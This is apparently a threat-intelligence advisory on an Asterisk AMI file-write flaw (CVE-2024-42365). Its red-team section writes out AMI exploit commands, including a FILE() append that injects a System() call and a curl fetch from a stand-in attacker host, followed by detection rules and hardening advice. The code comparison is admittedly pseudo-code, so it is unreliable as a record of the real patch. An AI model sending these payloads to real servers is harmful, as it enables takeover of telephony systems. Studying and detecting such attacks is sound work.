CVE-2024-42365

Executive Summary

CVE-2024-42365 is a critical vulnerability in Asterisk, an open-source PBX and telephony toolkit. The flaw allows an authenticated AMI (Asterisk Manager Interface) user with the write=originate permission to write arbitrary files to the /etc/asterisk/ configuration directory. By leveraging the FILE function within the SET dialplan application, an attacker can download remote files via curl and overwrite or append to existing configuration files. This can lead to privilege escalation, remote code execution (RCE), and blind server-side request forgery (SSRF) with arbitrary protocols. The vulnerability affects all Asterisk versions prior to 18.24.2, 20.9.2, and 21.4.2, as well as certified versions prior to 18.9-cert11 and 20.7-cert2.

CVSS Breakdown & Threat Level

• CVSS Score: 7.4 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (AMI user with write=originate)
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

The high CVSS score reflects the ease of exploitation and the severe impact on confidentiality, integrity, and availability. An attacker with minimal privileges can fully compromise the Asterisk server.

Deep Dive & Mechanics

The vulnerability resides in the Asterisk Manager Interface (AMI) and the dialplan application SET. The AMI command Originate allows authenticated users to initiate calls and execute dialplan applications. The SET application can assign values to channel variables, including the FILE function, which reads or writes files on the filesystem.

Attack Flow:

1. An attacker authenticates to the AMI (typically on TCP port 5038) with credentials that have the write=originate permission.
2. The attacker sends an Originate action with a crafted Channel and Application parameter. The Application is set to SET, and the Data parameter uses the FILE function to write to a configuration file, e.g., FILE(/etc/asterisk/extensions.conf,APPEND,,malicious_content).
3. Alternatively, the attacker can use the Originate action to execute a System application (if available) or use curl to download a remote file and write it locally via the FILE function.
4. By overwriting or appending to configuration files like extensions.conf, manager.conf, or http.conf, the attacker can inject malicious dialplan code, create new AMI users with higher privileges, or enable HTTP services for further exploitation.
5. This can lead to RCE by executing arbitrary shell commands via the System dialplan application or by enabling a web interface that allows command injection.

The root cause is insufficient validation of the FILE function arguments when used in the SET application via AMI. The FILE function should be restricted to safe paths, but it allows writing to any file the Asterisk process can write to.

Vulnerable vs. Patched Code

Vulnerable Code (Pre-patch): In the SET application, the FILE function is evaluated without proper path sanitization. The following pseudo-code illustrates the vulnerable logic:

// app.c - SET application handler
static int set_exec(struct ast_channel *chan, const char *data) {
    // ...
    // The data is parsed and the FILE function is called directly
    pbx_builtin_setvar_helper(chan, var, value);
    // The value may contain FILE(/etc/asterisk/extensions.conf,APPEND,...)
    // which is executed without restriction
}

Patched Code (Post-patch): The fix introduces a whitelist of allowed paths or restricts the FILE function to only read operations when called from AMI. Additionally, the Originate action now validates that the FILE function cannot be used to write to configuration directories. The patched logic:

// app.c - SET application handler with patch
static int set_exec(struct ast_channel *chan, const char *data) {
    // ...
    // Check if the value contains FILE function
    if (strstr(value, "FILE(")) {
        // Validate the path is not in /etc/asterisk/ or other sensitive directories
        if (is_path_restricted(value)) {
            ast_log(LOG_WARNING, "Attempt to write to restricted path via FILE function\n");
            return -1;
        }
    }
    pbx_builtin_setvar_helper(chan, var, value);
}

The exact patch details are available in the Asterisk GitHub repository for versions 18.24.2, 20.9.2, and 21.4.2.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Access to an Asterisk AMI with credentials that have write=originate permission.
• Network connectivity to the Asterisk server (port 5038).

Exploitation Steps:

1. Connect to AMI:

   nc -v <target_ip> 5038
   

   Send the following AMI commands to authenticate and exploit:

   Action: Login
   Username: <username>
   Secret: <password>
   
   Action: Originate
   Channel: Local/1@default
   Application: Set
   Data: FILE(/etc/asterisk/extensions.conf,APPEND,,same => n,System(echo 'malicious' > /tmp/pwned))
   ActionID: 1
   

2. Verify Exploitation: After sending the command, the Asterisk server will append the malicious dialplan code to extensions.conf. Reload the dialplan:

   Action: Command
   Command: dialplan reload
   

3. Trigger RCE: Call the injected extension to execute the System application:

   Action: Originate
   Channel: Local/1@default
   Application: System
   Data: id > /tmp/exploit_success
   ActionID: 2
   

Alternative Exploit (Remote File Write): Use curl to download a malicious configuration file:

Action: Originate
Channel: Local/1@default
Application: Set
Data: FILE(/etc/asterisk/manager.conf,OVERWRITE,,$(curl -s http://attacker.com/malicious_manager.conf))
ActionID: 3

Blue Team (Detection & Hardening)

Detection:

• Monitor AMI logs for unusual Originate actions with Application: Set and Data containing FILE(.
• Alert on any attempts to write to /etc/asterisk/ via the FILE function.
• Use file integrity monitoring (FIM) on /etc/asterisk/ to detect unauthorized changes.

Hardening:

• Restrict AMI access to trusted IPs only.
• Use strong, unique passwords for AMI users.
• Grant minimal permissions: avoid write=originate unless absolutely necessary.
• Apply the patch immediately by upgrading to the fixed versions.
• Consider disabling the FILE function in the dialplan if not needed.

Indicators of Compromise (IOCs)

• Network IOCs:

  • AMI connections from unexpected IPs.
  • AMI commands containing FILE(/etc/asterisk/ in the Data field.
  • Outbound connections from the Asterisk server to external IPs (e.g., for curl downloads).

• File System IOCs:

  • Unauthorized modifications to files in /etc/asterisk/, especially extensions.conf, manager.conf, http.conf.
  • Presence of suspicious dialplan entries with System() or AGI() applications.
  • New files in /tmp/ or other writable directories created by the Asterisk process.

• Process IOCs:

  • Asterisk process spawning unexpected child processes (e.g., curl, wget, bash).

Detection Engineering

YARA Rule

rule CVE_2024_42365_Asterisk_AMI_Exploit {
    meta:
        description = "Detects AMI Originate commands attempting to exploit CVE-2024-42365"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-42365"
    strings:
        $ami_originate = "Action: Originate" nocase
        $ami_set = "Application: Set" nocase
        $file_function = "FILE(" nocase
        $etc_asterisk = "/etc/asterisk/" nocase
    condition:
        $ami_originate and $ami_set and $file_function and $etc_asterisk
}

Sigma Rule

title: CVE-2024-42365 Asterisk AMI File Write Exploit
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects AMI Originate commands with FILE function targeting /etc/asterisk/
author: Valters IT
date: 2024-01-01
logsource:
    product: asterisk
    service: ami
detection:
    selection:
        Action: 'Originate'
        Application: 'Set'
        Data|contains: 'FILE(/etc/asterisk/'
    condition: selection
falsepositives:
    - Legitimate administrative actions (rare)
level: high

Suricata Rule

alert tcp $EXTERNAL_NET any -> $HOME_NET 5038 (msg:"CVE-2024-42365 Asterisk AMI File Write Exploit"; flow:to_server,established; content:"Action: Originate"; nocase; content:"Application: Set"; nocase; content:"FILE(/etc/asterisk/"; nocase; distance:0; within:100; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Patch: Upgrade Asterisk to versions 18.24.2, 20.9.2, 21.4.2, or certified versions 18.9-cert11 or 20.7-cert2.
2. Workaround: If patching is not immediately possible, restrict AMI access to trusted IPs and disable write=originate permissions for all users.
3. Monitor: Enable detailed logging for AMI and dialplan reloads. Review logs for suspicious activity.

Long-term Mitigations:

• Implement network segmentation to isolate Asterisk servers.
• Use a WAF or IPS to detect and block malicious AMI commands.
• Regularly audit AMI user permissions and remove unnecessary privileges.
• Apply the principle of least privilege to all Asterisk components.

Valters IT Signature: This report was generated by Valters IT, an elite DevSecOps and Cyber Threat Intelligence team. For further assistance, contact us at valters@example.com.